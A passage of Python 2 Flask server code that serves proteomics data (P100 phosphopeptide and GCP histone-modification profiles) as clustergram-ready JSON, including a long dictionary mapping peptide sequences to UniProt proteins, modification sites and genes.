{'nop': row1, 'o0p': row2, 'zaz': row3, 'zax': row4, 'oof': row5, 'oye': row6} # df = pd.DataFrame(a, index=rows_labels, columns=columns_labels) df2 = pd.DataFrame(aa, index=rows_labels2, columns=columns_labels2) jsonRet = df2.to_dict() print jsonRet return df2.to_json(orient='split') #print results # print "finished" # GCP_all_json = loadFile.make_json_from_txt(df2) @app.route("/api/P100/downlowdslice/<input_list>") def P100SlicingDownload(input_list): compounds = [] results = {} for var in input_list.split(","): compounds.append(var.upper()) # row_peptide = [] row_protein = [] row_gene = [] row_shorthand = [] peptide2ptmAndGene = { "IYQY[+80]IQSR": "Q13627[Y+80@321](DYRK1A)", "TPKDS[+80]PGIPPSANAHQLFR": "P51812[S+80@369](RPS6KA3)", "RNS[+80]SEASSGDFLDLK": "Q9UK76[S+80@87](JPT1)", "LPLVPES[+80]PRR": "Q86WB0[S+80@321](ZC3HC1)", "ANAS[+80]PQKPLDLK": "Q9Y618[S+80@956](NCOR2)", "LENS[+80]PLGEALR": "Q9NX40[S+80@108](OCIAD1)", "ANS[+80]FVGTAQYVSPELLTEK": "O15530[S+80@241](PDPK1)", "TNPPTQKPPS[+80]PPMSGR": "Q8IZP0[S+80@183](ABI1)", "SNS[+80]LPHSAVSNAGSK": "Q8TBZ3[S+80@434](WDR20)", "VGS[+80]LDNVGHLPAGGAVK": "P27816[S+80@1073](MAP4)", "AAPEAS[+80]SPPASPLQHLLPGK": "Q96TA1[S+80@691](FAM129B)", "S[+122]DKPDM[+16]AEIEKFDK": "P62328[S+122@2][M+16@7](TMSB4X)", "S[+122]DKPDMAEIEKFDK": "P62328[S+122@2](TMSB4X)", "SLS[+80]LGDKEISR": "Q9UMZ2[S+80@1075](SYNRG)", "DLVQPDKPAS[+80]PK": "Q6PJT7[S+80@515](ZC3H14)", "SPS[+80]PAHLPDDPKVAEK": "Q92615[S+80@601](LARP4B)", "S[+80]IQDLTVTGTEPGQVSSR": "O43318[S+80@439](MAP3K7)", "IHS[+80]PIIR": "O60885[S+80@1117](BRD4)", "TFS[+80]LTEVR": "O95239[S+80@801](KIF4A)", "SLVGS[+80]WLK": "Q6ICG6[S+80@362](KIAA0930)", "S[+80]PPAPGLQPMR": "P15408[S+80@200](FOSL2)", "LAS[+80]PELER": "P17535[S+80@100](JUND)", "IGPLGLS[+80]PK": "P30050[S+80@38](RPL12)", "TPS[+80]IQPSLLPHAAPFAK": "P35658[S+80@1023](NUP214)", "HAS[+80]PILPITEFSDIPR": "P42167[S+80@306](TMPO)", "LIPGPLS[+80]PVAR": "P48634[S+80@1219](PRRC2A)", "LGM[+16]LS[+80]PEGTC[+57]K": "P49327[S+80@207][M+16@205][C+57@212](FASN)", "LGMLS[+80]PEGTC[+57]K": "P49327[S+80@207][C+57@212](FASN)", "ISNLS[+80]PEEEQGLWK": "Q5HYJ3[S+80@193](FAM76B)", "VSMPDVELNLKS[+80]PK": "Q09666[S+80@3426](AHNAK)", "S[+122]DNGELEDKPPAPPVR": "Q13177[S+122@2](PAK2)", "KAYS[+80]FC[+57]GTVEYM[+16]APEVVNR": "Q15418[S+80@221][M+16@229][C+57@223](RPS6KA1)", "KAYS[+80]FC[+57]GTVEYMAPEVVNR": "Q15418[S+80@221][C+57@223](RPS6KA1)", "NDS[+80]WGSFDLR": "Q7Z417[S+80@652](NUFIP2)", "LEVTEIVKPS[+80]PK": "Q7Z6E9[S+80@1179](RBBP6)", "YGS[+80]PPQRDPNWNGER": "O15234[S+80@265](CASC3)", "QDDS[+80]PPRPIIGPALPPGFIK": "Q8IXQ4[S+80@105](GPALPP1)", "SFS[+80]ADNFIGIQR": "Q8N7R7[S+80@344](CCNYL1)", "VLS[+80]PLIIK": "Q8NCN4[S+80@403](RNF169)", "AGS[+80]PDVLR": "Q8NDX6[S+80@44](ZNF740)", "LGPGRPLPTFPTSEC[+57]TS[+80]DVEPDTR": "Q8TDD1[S+80@75][C+57@73](DDX54)", "LAAPSVSHVS[+80]PR": "Q8WXE1[S+80@224](ATRIP)", "VDDDS[+80]LGEFPVTNSR": "Q92785[S+80@142](DPF2)", "NEEPVRS[+80]PERR": "Q92922[S+80@310](SMARCC1)", "LFIIRGS[+80]PQQIDHAK": "Q92945[S+80@480](KHSRP)", "S[+80]IEVENDFLPVEK": "Q96B97[S+80@230](SH3KBP1)", "TAPTLS[+80]PEHWK": "Q96JM3[S+80@405](CHAMP1)", "VLS[+80]PTAAKPSPFEGK": "Q96QC0[S+80@313](PPP1R10)", "SSDQPLTVPVS[+80]PK": "Q9ULW0[S+80@738](TPX2)", "FYETKEESYS[+80]PSKDR": "Q96T23[S+80@473](RSF1)", "SDS[+80]PENKYSDSTGHSK": "Q9BTA9[S+80@64](WAC)", "S[+80]IPLSIK": "Q9C0C9[S+80@515](UBE2O)", "RLS[+80]QSDEDVIR": "Q9H7D7[S+80@121](WDR26)", "ATS[+80]PVKSTTSITDAK": "Q9NQW6[S+80@295](ANLN)", "ALGS[+80]PTKQLLPC[+57]EMAC[+57]NEK": "Q9NR45[S+80@275][C+57@283][C+57@287](NANS)", "YLLGDAPVS[+80]PSSQK": "Q9NYB0[S+80@203](TERF2IP)", "ANS[+80]PEKPPEAGAAHKPR": "Q9UFC0[S+80@212](LRWD1)", "SEVQQPVHPKPLS[+80]PDSR": "Q9UHB6[S+80@362](LIMA1)", "ETPHS[+80]PGVEDAPIAK": "Q9UHB6[S+80@490](LIMA1)", "SQS[+80]PHYFR": "Q9UKJ3[S+80@1035](GPATCH8)", "DRS[+80]SPPPGYIPDELHQVAR": "Q9Y2U5[S+80@163](MAP3K2)", "SPALKS[+80]PLQSVVVR": "Q9Y2W1[S+80@253](THRAP3)", "AFGSGIDIKPGT[+80]PPIAGR": "Q9Y520[T+80@2673](PRRC2C)", "SFS[+80]SQRPVDR": "Q9Y520[S+80@1544](PRRC2C)", "VYT[+80]HEVVTLWYR": "P06493[T+80@161](CDK1)", "SST[+80]PLPTISSSAENTR": "P42167[T+80@160](TMPO)", "QIT[+80]MEELVR": "Q15149[T+80@4030](PLEC)", "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q9BXP5[T+80@544](SRRT)", "ALPQT[+80]PRPR": "Q9UQ35[T+80@1492](SRRM2)", "SMS[+80]VDLSHIPLKDPLLFK": "A0JNW5[S+80@935](UHRF1BP1L)", "S[+80]PTGPSNSFLANMGGTVAHK": "Q96I25[S+80@222](RBM17)", "S[+80]LTAHSLLPLAEK": "Q86VI3[S+80@1424](IQGAP3)", "S[+80]FAGNLNTYKR": "Q01813[S+80@386](PFKP)", "HRPS[+80]PPATPPPK": "Q8IYB3[S+80@402](SRRM1)", "LHS[+80]APNLSDLHVVRPK": "O75385[S+80@556](ULK1)", "TLGRRDS[+80]SDDWEIPDGQITVGQR": "P15056[S+80@446](BRAF)", "A[+42]TTATM[+16]ATSGS[+80]AR": "P38919[S+80@12][M+16@7][A+42@2](EIF4A3)", "A[+42]TTATMATSGS[+80]AR": "P38919[S+80@12][A+42@2](EIF4A3)", "IHVSRS[+80]PTRPR": "Q499Z4[S+80@189](ZNF672)", "RPHS[+80]PEKAFSSNPVVR": "Q53F19[S+80@500](NCBP3)", "KPNIFYSGPAS[+80]PARPR": "Q6PL18[S+80@327](ATAD2)", "TEFLDLDNSPLSPPS[+80]PR": "Q8NCF5[S+80@204](NFATC2IP)", "QGSGRES[+80]PSLASR": "Q8WWM7[S+80@339](ATXN2L)", # "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q8WWM7[S+80@339](SRRM2)", "LQS[+80]EPESIR": "P09496[S+80@105](CLTA)", "RLIS[+80]PYKK": "O14929[S+80@361](HAT1)", "LLEDS[+80]EESSEETVSR": "O60231[S+80@103](DHX16)", "S[+80]PPAPGLQPM[+16]R": "P15408[S+80@200][M+16@209](FOSL2)", "RRLS[+80]SLR": "P62753[S+80@235](RPS6)", "RLS[+80]ESQLSFRR": "Q96PK6[S+80@618](RBM14)", "RLS[+80]LPGLLSQVSPR": "Q96Q42[S+80@483](ALS2)", "SPDKPGGS[+80]PSASRR": "Q9Y3T9[S+80@56](NOC2L)", "HLPS[+80]PPTLDSIITEYLR": "Q9Y4B6[S+80@1000](DCAF1)", "ST[+80]FHAGQLR": "Q7KZI7[T+80@596](MARK2)", "S[+80]LTNSHLEKK": "Q9H2H9[S+80@52](SLC38A1)", "LQTPNT[+80]FPKR": "Q14978[T+80@610](NOLC1)", "QIT[+80]M[+16]EELVR": "Q15149[M+16@4031][T+80@4030](PLEC)", "T[+56]K[+56]QTAR": "P68431[me0K@5](HIST1H3A)", "T[+56]K[+70]QTAR": "P68431[meK@5](HIST1H3A)", "T[+56]K[+28]QTAR": "P68431[me2K@5](HIST1H3A)", "T[+56]K[+42]QTAR-me3K": "P68431[me3K@5](HIST1H3A)", "T[+56]K[+42]QTAR-aK": "P68431[aK@5](HIST1H3A)", "K[+112.1]STGGK[+56]APR": "P68431[me0K@10][a0K@15](HIST1H3A)", "K[+126.1]STGGK[+56]APR": "P68431[meK@10](HIST1H3A)", "K[+84.1]STGGK[+56]APR": "P68431[me2K@10](HIST1H3A)", "K[+98.1]STGGK[+56]APR": "P68431[me3K@10](HIST1H3A)", "K[+98]STGGK[+56]APR": "P68431[aK@10](HIST1H3A)", "K[+112.1]STGGK[+42]APR": "P68431[aK@15](HIST1H3A)", "K[+126.1]STGGK[+42]APR": "P68431[meK@10][aK@15](HIST1H3A)", "K[+84.1]STGGK[+42]APR": "P68431[me2K@10][aK@15](HIST1H3A)", "K[+98.1]STGGK[+42]APR": "P68431[me3K@10][aK@15](HIST1H3A)", "K[+98]STGGK[+42]APR": "P68431[aK@10][aK@15](HIST1H3A)", "K[+112.1]S[+80]TGGK[+56]APR": "P68431[pS@11](HIST1H3A)", "K[+126.1]S[+80]TGGK[+56]APR": "P68431[meK@10][pS@11](HIST1H3A)", "K[+84.1]S[+80]TGGK[+56]APR": "P68431[me2K@10][pS@11](HIST1H3A)", "K[+98.1]S[+80]TGGK[+56]APR": "P68431[me3K@10][pS@11](HIST1H3A)", "K[+98]S[+80]TGGK[+56]APR": "P68431[aK@10][pS@11](HIST1H3A)", "K[+112.1]S[+80]TGGK[+42]APR": "P68431[pS@11][aK@15](HIST1H3A)", "K[+126.1]S[+80]TGGK[+42]APR": "P68431[meK@10][pS@11][aK@15](HIST1H3A)", "K[+84.1]S[+80]TGGK[+42]APR": "P68431[me2K@10][pS@11][aK@15](HIST1H3A)", "K[+98.1]S[+80]TGGK[+42]APR": "P68431[me3K@10][pS@11][aK@15](HIST1H3A)", "K[+98]S[+80]TGGK[+42]APR": "P68431[aK@10][pS@11][aK@15](HIST1H3A)", "K[+112.1]QLATK[+56]AAR": "P68431[a0K@19][a0K@24](HIST1H3A)", "K[+98]QLATK[+56]AAR": "P68431[aK@19](HIST1H3A)", "K[+112.1]QLATK[+42]AAR": "P68431[aK@24](HIST1H3A)", "K[+98]QLATK[+42]AAR": "P68431[aK@19][aK@24](HIST1H3A)", "K[+226.1]QLATK[+56]AAR": "P68431[ubK@19][a0K@24](HIST1H3A)", "K[+112.1]QLATK[+170.1]AAR": "P68431[ubK@24](HIST1H3A)", "K[+112.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me0K@28][me0K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+56]K[+56]PHR": "P68431[meK@28][me0K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+70]K[+56]PHR": "P68431[meK@28][meK@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+28]K[+56]PHR": "P68431[meK@28][me2K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+42]K[+56]PHR": "P68431[meK@28][me3K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me2K@28][me0K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me2K@28][meK@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me2K@28][me2K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me2K@28][me3K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me3K@28][me0K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me3K@28][meK@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me3K@28][me2K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me3K@28][me3K@37](HIST1H3A)", "K[+98]SAPATGGVK[+56]K[+56]PHR": "P68431[aK@28][me0K@37](HIST1H3A)", "K[+98]SAPATGGVK[+70]K[+56]PHR": "P68431[aK@28][meK@37](HIST1H3A)", "K[+98]SAPATGGVK[+28]K[+56]PHR": "P68431[aK@28][me2K@37](HIST1H3A)", "K[+98]SAPATGGVK[+42]K[+56]PHR": "P68431[aK@28][me3K@37](HIST1H3A)", "K[+112.1]SAPSTGGVK[+56]K[+56]PHR": "P84243[me0K@28][me0K@37](H3F3A)", "Y[+56]RPGTVALR": "P68431-NORM(HIST1H3A)", "Y[+56]QK[+56]STELLIR": "P68431[me0K@57](HIST1H3A)", "E[+56]IAQDFK[+56]TDLR": "P68431[me0K@80](HIST1H3A)", "E[+56]IAQDFK[+70]TDLR": "P68431[meK@80](HIST1H3A)", "E[+56]IAQDFK[+28]TDLR": "P68431[me2K@80](HIST1H3A)", "K[+112.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me0K@28][meK@37](HIST1H3A)", "K[+112.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me0K@28][me2K@37](HIST1H3A)", "K[+112.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me0K@28][me3K@37](HIST1H3A)", "Y[+56]QK[+42]STELLIR": "P68431[aK@57](HIST1H3A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[a0K@6][a0K@13][a0K@17](HIST1H4A)", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[aK@6](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+56]R": "P62805[aK@13](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@9][aK@13](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+56]R": "P62805[aK@6][aK@9](HIST1H4A)", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+42]R": "P62805[aK@13][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@9][aK@13][aK@17](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@6][aK@9][aK@13](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@9][aK@17](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@6][aK@9][aK@13][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+70]R": "P62805[meK@17](HIST1H4A)", "K[+112.1]VLR": "P62805[me0K@21](HIST1H4A)", "K[+126.1]VLR": "P62805[meK@21](HIST1H4A)", "K[+84.1]VLR": "P62805[me2K@21](HIST1H4A)", "K[+98.1]VLR": "P62805[me3K@21](HIST1H4A)", "D[+56]AVTYTEHAK[+56]R": "P62805-NORM(HIST1H4A)", "Y[+56]QK[+28]STELLIR": "P68431[me2K@57](HIST1H3A)" } meta_data = pd.read_csv('static/data/P100-all-plates-metaData.csv', sep=',', header=None) #print meta_data for i in range(0, 96): # print str(meta_data[6][29 + i]) # print petide2ptmAndGene[str(meta_data[6][29 + i])] # print str(meta_data[11][29 + i]) # print str(meta_data[2][29 + i]) row_peptide.append('Peptide: ' + str(meta_data[6][29 + i]) + "/" + peptide2ptmAndGene[str(meta_data[6][29 + i])]) shorthand = peptide2ptmAndGene[str(meta_data[6][29 + i])] row_shorthand.append('PTM Proteins: ' + shorthand) row_protein.append('Protein: ' + str(meta_data[11][29 + i])) row_gene.append('Gene: ' + str(meta_data[2][29 + i])) print i col_cell_line = [] col_pert_dose = [] col_pert_time = [] col_pert_name = [] col_pert_signature = [] col_pert_type = [] first_loop = True # for i in range(0, 96): # row_peptide.append('Peptide: ' + str(P100_data[6][29 + i])) # shorthand = petide2ptmAndGene[str(P100_data[6][29 + i])] # row_shorthand.append('PTM Proteins: ' + shorthand) # row_protein.append('Protein: ' + str(P100_data[11][29 + i])) # row_gene.append('Gene: ' + str(P100_data[2][29 + i])) # open('static/data/P100_processed_perturb_for_clustergramm_slicing.json') as f: with open('static/data/P100_processed_perturb_for_clustergramm_slicing.json') as f: data = json.load(f) cp_iter = 1 for var in compounds: cp = str(var).upper() print cp if cp in data: for iter in data[cp]: print cp_iter col_cell_line.append('Cell Line: ' + iter["Cell_line"]) col_pert_dose.append('Dose: ' + iter["Dose"]) col_pert_time.append('Time: ' + iter["Time"]) col_pert_name.append( iter["Perturbations"] + "/Dose/" + iter["Dose"] + "/Time/" + iter["Time"] + "/CellLine/" + iter[ "Cell_line"] + "/Signature ID/" + iter["Sig_id"]) col_pert_signature.append('Signature ID: ' + iter["Sig_id"]) col_pert_type.append('Type: ' + iter["Type"]) x1 = np.array(iter["data"]) # print "end of loop1" x2 = x1[:, np.newaxis] # print "end of loop2" my_data_final = np.asarray(x2) # print "end of loop3" if first_loop: my_data_con = my_data_final first_loop = False else: my_data_con = np.hstack((my_data_con, my_data_final)) # for i in range(0, 96): # row_peptide.append('Peptide: ' + str(P100_data[6][29 + i])) # shorthand = petide2ptmAndGene[str(P100_data[6][29 + i])] # row_shorthand.append('PTM Proteins: ' + shorthand) # row_protein.append('Protein: ' + str(P100_data[11][29 + i])) # row_gene.append('Gene: ' + str(P100_data[2][29 + i])) arrays_rows2 = [np.array(row_peptide)] arrays_columns2 = [np.array(col_pert_name)] # print arrays_columns2 # arrays_rows2 = np.load("static/data/P100_rowMetaDat") tuples_rows2 = list(zip(*arrays_rows2)) # print tuples_rows2 tuples_columns2 = list(zip(*arrays_columns2)) # print tuples_columns2 rows_labels2 = pd.MultiIndex.from_tuples(tuples_rows2) columns_labels2 = pd.MultiIndex.from_tuples(tuples_columns2) # my_data_con = my_data_con.fillna(0) print "after na to zero" a2 = np.nan_to_num(my_data_con) # a2 = my_data_con aa = a2.astype(np.float) print "a2.shape" print a2.shape print "columns_labels2.shape" print columns_labels2.shape print "rows_labels2.shape" print rows_labels2.shape # {'nop': row1, 'o0p': row2, 'zaz': row3, 'zax': row4, 'oof': row5, 'oye': row6} # df = pd.DataFrame(a, index=rows_labels, columns=columns_labels) df2 = pd.DataFrame(aa, index=rows_labels2, columns=columns_labels2) df2.to_csv("static/data/staurosporine.csv") jsonRet = df2.to_dict() print jsonRet return df2.to_json(orient='split') @app.route("/api/clust/GCP/aggregatedforSlicing/<input_list>") def GCPSlicing(input_list): compounds = [] results = {} for var in input_list.split(","): compounds.append(var) # row_peptide = [] row_protein = [] row_gene = [] row_shorthand = [] peptide2ptmAndGene = { "IYQY[+80]IQSR": "Q13627[Y+80@321](DYRK1A)", "TPKDS[+80]PGIPPSANAHQLFR": "P51812[S+80@369](RPS6KA3)", "RNS[+80]SEASSGDFLDLK": "Q9UK76[S+80@87](JPT1)", "LPLVPES[+80]PRR": "Q86WB0[S+80@321](ZC3HC1)", "ANAS[+80]PQKPLDLK": "Q9Y618[S+80@956](NCOR2)", "LENS[+80]PLGEALR": "Q9NX40[S+80@108](OCIAD1)", "ANS[+80]FVGTAQYVSPELLTEK": "O15530[S+80@241](PDPK1)", "TNPPTQKPPS[+80]PPMSGR": "Q8IZP0[S+80@183](ABI1)", "SNS[+80]LPHSAVSNAGSK": "Q8TBZ3[S+80@434](WDR20)", "VGS[+80]LDNVGHLPAGGAVK": "P27816[S+80@1073](MAP4)", "AAPEAS[+80]SPPASPLQHLLPGK": "Q96TA1[S+80@691](FAM129B)", "S[+122]DKPDM[+16]AEIEKFDK": "P62328[S+122@2][M+16@7](TMSB4X)", "S[+122]DKPDMAEIEKFDK": "P62328[S+122@2](TMSB4X)", "SLS[+80]LGDKEISR": "Q9UMZ2[S+80@1075](SYNRG)", "DLVQPDKPAS[+80]PK": "Q6PJT7[S+80@515](ZC3H14)", "SPS[+80]PAHLPDDPKVAEK": "Q92615[S+80@601](LARP4B)", "S[+80]IQDLTVTGTEPGQVSSR": "O43318[S+80@439](MAP3K7)", "IHS[+80]PIIR": "O60885[S+80@1117](BRD4)", "TFS[+80]LTEVR": "O95239[S+80@801](KIF4A)", "SLVGS[+80]WLK": "Q6ICG6[S+80@362](KIAA0930)", "S[+80]PPAPGLQPMR": "P15408[S+80@200](FOSL2)", "LAS[+80]PELER": "P17535[S+80@100](JUND)", "IGPLGLS[+80]PK": "P30050[S+80@38](RPL12)", "TPS[+80]IQPSLLPHAAPFAK": "P35658[S+80@1023](NUP214)", "HAS[+80]PILPITEFSDIPR": "P42167[S+80@306](TMPO)", "LIPGPLS[+80]PVAR": "P48634[S+80@1219](PRRC2A)", "LGM[+16]LS[+80]PEGTC[+57]K": "P49327[S+80@207][M+16@205][C+57@212](FASN)", "LGMLS[+80]PEGTC[+57]K": "P49327[S+80@207][C+57@212](FASN)", "ISNLS[+80]PEEEQGLWK": "Q5HYJ3[S+80@193](FAM76B)", "VSMPDVELNLKS[+80]PK": "Q09666[S+80@3426](AHNAK)", "S[+122]DNGELEDKPPAPPVR": "Q13177[S+122@2](PAK2)", "KAYS[+80]FC[+57]GTVEYM[+16]APEVVNR": "Q15418[S+80@221][M+16@229][C+57@223](RPS6KA1)", "KAYS[+80]FC[+57]GTVEYMAPEVVNR": "Q15418[S+80@221][C+57@223](RPS6KA1)", "NDS[+80]WGSFDLR": "Q7Z417[S+80@652](NUFIP2)", "LEVTEIVKPS[+80]PK": "Q7Z6E9[S+80@1179](RBBP6)", "YGS[+80]PPQRDPNWNGER": "O15234[S+80@265](CASC3)", "QDDS[+80]PPRPIIGPALPPGFIK": "Q8IXQ4[S+80@105](GPALPP1)", "SFS[+80]ADNFIGIQR": "Q8N7R7[S+80@344](CCNYL1)", "VLS[+80]PLIIK": "Q8NCN4[S+80@403](RNF169)", "AGS[+80]PDVLR": "Q8NDX6[S+80@44](ZNF740)", "LGPGRPLPTFPTSEC[+57]TS[+80]DVEPDTR": "Q8TDD1[S+80@75][C+57@73](DDX54)", "LAAPSVSHVS[+80]PR": "Q8WXE1[S+80@224](ATRIP)", "VDDDS[+80]LGEFPVTNSR": "Q92785[S+80@142](DPF2)", "NEEPVRS[+80]PERR": "Q92922[S+80@310](SMARCC1)", "LFIIRGS[+80]PQQIDHAK": "Q92945[S+80@480](KHSRP)", "S[+80]IEVENDFLPVEK": "Q96B97[S+80@230](SH3KBP1)", "TAPTLS[+80]PEHWK": "Q96JM3[S+80@405](CHAMP1)", "VLS[+80]PTAAKPSPFEGK": "Q96QC0[S+80@313](PPP1R10)", "SSDQPLTVPVS[+80]PK": "Q9ULW0[S+80@738](TPX2)", "FYETKEESYS[+80]PSKDR": "Q96T23[S+80@473](RSF1)", "SDS[+80]PENKYSDSTGHSK": "Q9BTA9[S+80@64](WAC)", "S[+80]IPLSIK": "Q9C0C9[S+80@515](UBE2O)", "RLS[+80]QSDEDVIR": "Q9H7D7[S+80@121](WDR26)", "ATS[+80]PVKSTTSITDAK": "Q9NQW6[S+80@295](ANLN)", "ALGS[+80]PTKQLLPC[+57]EMAC[+57]NEK": "Q9NR45[S+80@275][C+57@283][C+57@287](NANS)", "YLLGDAPVS[+80]PSSQK": "Q9NYB0[S+80@203](TERF2IP)", "ANS[+80]PEKPPEAGAAHKPR": "Q9UFC0[S+80@212](LRWD1)", "SEVQQPVHPKPLS[+80]PDSR": "Q9UHB6[S+80@362](LIMA1)", "ETPHS[+80]PGVEDAPIAK": "Q9UHB6[S+80@490](LIMA1)", "SQS[+80]PHYFR": "Q9UKJ3[S+80@1035](GPATCH8)", "DRS[+80]SPPPGYIPDELHQVAR": "Q9Y2U5[S+80@163](MAP3K2)", "SPALKS[+80]PLQSVVVR": "Q9Y2W1[S+80@253](THRAP3)", "AFGSGIDIKPGT[+80]PPIAGR": "Q9Y520[T+80@2673](PRRC2C)", "SFS[+80]SQRPVDR": "Q9Y520[S+80@1544](PRRC2C)", "VYT[+80]HEVVTLWYR": "P06493[T+80@161](CDK1)", "SST[+80]PLPTISSSAENTR": "P42167[T+80@160](TMPO)", "QIT[+80]MEELVR": "Q15149[T+80@4030](PLEC)", "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q9BXP5[T+80@544](SRRT)", "ALPQT[+80]PRPR": "Q9UQ35[T+80@1492](SRRM2)", "SMS[+80]VDLSHIPLKDPLLFK": "A0JNW5[S+80@935](UHRF1BP1L)", "S[+80]PTGPSNSFLANMGGTVAHK": "Q96I25[S+80@222](RBM17)", "S[+80]LTAHSLLPLAEK": "Q86VI3[S+80@1424](IQGAP3)", "S[+80]FAGNLNTYKR": "Q01813[S+80@386](PFKP)", "HRPS[+80]PPATPPPK": "Q8IYB3[S+80@402](SRRM1)", "LHS[+80]APNLSDLHVVRPK": "O75385[S+80@556](ULK1)", "TLGRRDS[+80]SDDWEIPDGQITVGQR": "P15056[S+80@446](BRAF)", "A[+42]TTATM[+16]ATSGS[+80]AR": "P38919[S+80@12][M+16@7][A+42@2](EIF4A3)", "A[+42]TTATMATSGS[+80]AR": "P38919[S+80@12][A+42@2](EIF4A3)", "IHVSRS[+80]PTRPR": "Q499Z4[S+80@189](ZNF672)", "RPHS[+80]PEKAFSSNPVVR": "Q53F19[S+80@500](NCBP3)", "KPNIFYSGPAS[+80]PARPR": "Q6PL18[S+80@327](ATAD2)", "TEFLDLDNSPLSPPS[+80]PR": "Q8NCF5[S+80@204](NFATC2IP)", "QGSGRES[+80]PSLASR": "Q8WWM7[S+80@339](ATXN2L)", # "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q8WWM7[S+80@339](SRRM2)", "LQS[+80]EPESIR": "P09496[S+80@105](CLTA)", "RLIS[+80]PYKK": "O14929[S+80@361](HAT1)", "LLEDS[+80]EESSEETVSR": "O60231[S+80@103](DHX16)", "S[+80]PPAPGLQPM[+16]R": "P15408[S+80@200][M+16@209](FOSL2)", "RRLS[+80]SLR": "P62753[S+80@235](RPS6)", "RLS[+80]ESQLSFRR": "Q96PK6[S+80@618](RBM14)", "RLS[+80]LPGLLSQVSPR": "Q96Q42[S+80@483](ALS2)", "SPDKPGGS[+80]PSASRR": "Q9Y3T9[S+80@56](NOC2L)", "HLPS[+80]PPTLDSIITEYLR": "Q9Y4B6[S+80@1000](DCAF1)", "ST[+80]FHAGQLR": "Q7KZI7[T+80@596](MARK2)", "S[+80]LTNSHLEKK": "Q9H2H9[S+80@52](SLC38A1)", "LQTPNT[+80]FPKR": "Q14978[T+80@610](NOLC1)", "QIT[+80]M[+16]EELVR": "Q15149[M+16@4031][T+80@4030](PLEC)", "T[+56]K[+56]QTAR": "P68431[me0K@5](HIST1H3A)", "T[+56]K[+70]QTAR": "P68431[meK@5](HIST1H3A)", "T[+56]K[+28]QTAR": "P68431[me2K@5](HIST1H3A)", "T[+56]K[+42]QTAR-me3K": "P68431[me3K@5](HIST1H3A)", "T[+56]K[+42]QTAR-aK": "P68431[aK@5](HIST1H3A)", "K[+112.1]STGGK[+56]APR": "P68431[me0K@10][a0K@15](HIST1H3A)", "K[+126.1]STGGK[+56]APR": "P68431[meK@10](HIST1H3A)", "K[+84.1]STGGK[+56]APR": "P68431[me2K@10](HIST1H3A)", "K[+98.1]STGGK[+56]APR": "P68431[me3K@10](HIST1H3A)", "K[+98]STGGK[+56]APR": "P68431[aK@10](HIST1H3A)", "K[+112.1]STGGK[+42]APR": "P68431[aK@15](HIST1H3A)", "K[+126.1]STGGK[+42]APR": "P68431[meK@10][aK@15](HIST1H3A)", "K[+84.1]STGGK[+42]APR": "P68431[me2K@10][aK@15](HIST1H3A)", "K[+98.1]STGGK[+42]APR": "P68431[me3K@10][aK@15](HIST1H3A)", "K[+98]STGGK[+42]APR": "P68431[aK@10][aK@15](HIST1H3A)", "K[+112.1]S[+80]TGGK[+56]APR": "P68431[pS@11](HIST1H3A)", "K[+126.1]S[+80]TGGK[+56]APR": "P68431[meK@10][pS@11](HIST1H3A)", "K[+84.1]S[+80]TGGK[+56]APR": "P68431[me2K@10][pS@11](HIST1H3A)", "K[+98.1]S[+80]TGGK[+56]APR": "P68431[me3K@10][pS@11](HIST1H3A)", "K[+98]S[+80]TGGK[+56]APR": "P68431[aK@10][pS@11](HIST1H3A)", "K[+112.1]S[+80]TGGK[+42]APR": "P68431[pS@11][aK@15](HIST1H3A)", "K[+126.1]S[+80]TGGK[+42]APR": "P68431[meK@10][pS@11][aK@15](HIST1H3A)", "K[+84.1]S[+80]TGGK[+42]APR": "P68431[me2K@10][pS@11][aK@15](HIST1H3A)", "K[+98.1]S[+80]TGGK[+42]APR": "P68431[me3K@10][pS@11][aK@15](HIST1H3A)", "K[+98]S[+80]TGGK[+42]APR": "P68431[aK@10][pS@11][aK@15](HIST1H3A)", "K[+112.1]QLATK[+56]AAR": "P68431[a0K@19][a0K@24](HIST1H3A)", "K[+98]QLATK[+56]AAR": "P68431[aK@19](HIST1H3A)", "K[+112.1]QLATK[+42]AAR": 